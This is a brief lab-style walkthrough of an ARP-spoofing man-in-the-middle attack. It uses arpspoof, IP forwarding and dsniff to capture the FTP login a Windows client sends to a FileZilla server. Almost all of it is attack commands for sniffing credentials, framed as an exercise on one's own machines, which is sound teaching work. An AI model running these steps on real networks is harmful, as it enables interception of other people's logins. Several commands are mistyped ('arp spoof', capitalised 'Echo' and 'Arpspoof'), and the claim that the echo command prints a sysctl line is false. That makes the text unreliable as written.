

## Man in the middle attack

FTP-Server ([ftpServerIP](#))

Windows Client ([windowsClientIP](#))

Linux ([linuxIP](#))

- 1- Install a FTP server (FileZilla)
- 2- From your Windows Client start a continues ping to FTP-Server  
`ping ftpServerIP -t`
- 3- On Linux ARP spoof FTP-Server and Windows Client
  - a. Tell FTP-Server that you are WindowsClient
    - i. Open a terminal and run  
`arp spoof -t ftpServerIP windowsClientIP`
  - b. Tell windows Client that you are FTP-Server
    - i. Open another terminal and run  
`Arpspoof -t windowsClientIP ftpServerIP`
- 4- Check if ping stopped: if yes then you have broken the communication
- 5- Now on Linux turn on IP Forwarding
  - a. Open yet another terminal and run  
`Echo 1 > /proc/sys/net/ipv4/ip_forward`  
Should output: Sysctl net.ipv4.ip\_forward=1
  - b. Run  
`dsniff` (press enter twice)
- 6- Now FTP from Windows-client to FTP-Server
  - a. Open My Computer and in the address-bar type [ftpServerIP](#)  
[ftp://ftpServerIP](#)
  - b. Enter your login information